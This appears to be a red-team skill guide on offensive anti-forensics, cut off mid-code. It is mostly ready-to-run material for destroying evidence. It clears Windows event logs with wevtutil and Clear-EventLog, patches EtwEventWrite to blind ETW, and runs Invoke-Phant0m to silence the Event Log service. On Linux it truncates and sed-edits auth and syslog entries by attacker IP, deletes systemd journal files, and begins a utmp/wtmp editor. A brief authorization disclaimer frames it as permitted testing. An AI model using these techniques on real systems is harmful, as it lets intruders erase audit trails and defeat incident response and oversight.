offensive-anti-forensics

# Offensive Anti-Forensics

Anti-forensics is the practice of manipulating, destroying, or preventing the creation of forensic artifacts during an engagement. As a red team operator, you treat every action as generating evidence -- logs, timestamps, memory structures, disk metadata, and network captures all tell a story. Your objective is to control that narrative. This skill covers the primary evidence categories you encounter on Windows and Linux targets, the techniques for manipulating each, and the defender view so you understand what a competent forensic analyst looks for when your cleanup is incomplete.

You operate under an authorization scope. Every technique here assumes you have written permission to execute these actions on target systems. Document what you clear and when -- your engagement report must account for artifacts you destroyed so the blue team can rebuild their detection baseline.

## Quick Workflow

1. Enumerate logging infrastructure before executing payloads -- identify what generates evidence.
2. Disable or blind telemetry sources (ETW, Sysmon, auditd) at the earliest safe opportunity.
3. Execute your operation with minimal footprint using in-memory techniques where possible.
4. Manipulate timestamps on any files you touched to blend with surrounding filesystem activity.
5. Clear or edit logs selectively -- wholesale deletion is noisier than surgical modification.
6. Remove memory artifacts if you have reason to believe live forensics will occur.
7. Validate your cleanup by checking the same artifacts a forensic analyst would examine.

---

## Windows Event Log Clearing

Windows Event Logs are the primary evidence source on Windows targets. The Security, System, PowerShell, and Sysmon/Operational channels record authentication, process creation, and command execution events.

### Wevtutil Approach

Clear specific channels rather than all logs to reduce the blast radius of your cleanup.

```cmd
rem Clear Security log only
wevtutil cl Security

rem Clear specific channels relevant to your activity
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
wevtutil cl "Windows PowerShell"

rem Enumerate all logs to find non-obvious channels
wevtutil el | findstr /i "operational"

rem Export a log before clearing to preserve your own records
wevtutil epl Security C:\Windows\Temp\sec_backup.evtx
wevtutil cl Security
```

### PowerShell Clear-EventLog

```powershell
# Clear classic logs
Clear-EventLog -LogName Security, System, Application

# Clear modern logs via wevtutil wrapper
Get-WinEvent -ListLog * | Where-Object { $_.RecordCount -gt 0 } | ForEach-Object {
    wevtutil cl $_.LogName 2>$null
}

# Selective clearing -- remove only your time window events
# This requires parsing and rewriting, which is complex but less detectable
$targetTime = Get-Date "2026-08-24 03:00"
$events = Get-WinEvent -LogName Security | Where-Object {
    $_.TimeCreated -lt $targetTime -or $_.TimeCreated -gt $targetTime.AddHours(2)
}
# Note: native Windows APIs do not support selective event deletion
# You must clear and rewrite, or use third-party tooling
```

### ETW Provider Patching

Event Tracing for Windows underpins most logging. Patching the ETW provider in-process prevents log generation at the source, which is quieter than post-hoc clearing.

```csharp
// Patch ntdll!EtwEventWrite in the current process
// This blinds any ETW consumer for events from this process
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr addr, UIntPtr size, uint newProt, out uint oldProt);

IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Overwrite first byte with RET (0xC3)
uint oldProtect;
VirtualProtect(etwAddr, (UIntPtr)1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, (UIntPtr)1, oldProtect, out oldProtect);
```

```powershell
# Invoke-Phant0m: Kill threads responsible for Event Log Service
# This stops log writing without stopping the service itself
# The service appears running but no events are recorded
Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0m
```

---

## Linux Log Clearing

Linux logging varies by distribution and configuration. You must account for syslog/rsyslog, systemd journal, auth logs, and login records stored in binary utmp/wtmp/btmp files.

### Syslog and Auth Log Manipulation

```bash
# Truncate rather than delete -- preserves inode and avoids alerting on missing files
truncate -s 0 /var/log/syslog
truncate -s 0 /var/log/auth.log
truncate -s 0 /var/log/messages
truncate -s 0 /var/log/secure

# Selective removal -- strip lines matching your source IP
sed -i '/10\.10\.14\.5/d' /var/log/auth.log
sed -i '/10\.10\.14\.5/d' /var/log/syslog

# Remove entries within a time window from auth.log
sed -i '/Aug 24 03:0[0-9]/d' /var/log/auth.log
sed -i '/Aug 24 03:1[0-9]/d' /var/log/auth.log

# Handle rotated logs
for f in /var/log/auth.log.* /var/log/syslog.*; do
    if file "$f" | grep -q gzip; then
        gunzip "$f"
        sed -i '/10\.10\.14\.5/d' "${f%.gz}"
        gzip "${f%.gz}"
    else
        sed -i '/10\.10\.14\.5/d' "$f"
    fi
done
```

### Systemd Journal Clearing

```bash
# Flush and rotate, then vacuum
journalctl --flush --rotate
journalctl --vacuum-time=1s

# Alternative: remove journal files directly
rm -rf /var/log/journal/*
systemctl restart systemd-journald

# Selective approach: vacuum to a small size to keep recent benign entries
journalctl --vacuum-size=10M
```

### utmp/wtmp/btmp Binary Editing

These binary files record login sessions. Tools like `last` and `who` read them. You cannot edit them with sed -- you need purpose-built utilities or direct binary manipulation.

```c
/* utmp_editor.c -- remove a specific entry from utmp/wtmp
 * Compile: gcc -o utmp_editor utmp_editor.c
 * Usage: ./utmp_editor /var/log/wtmp username_to_remove */
#include <stdio.h>
#include <string.h>
#include <utmp.h>

int main(int a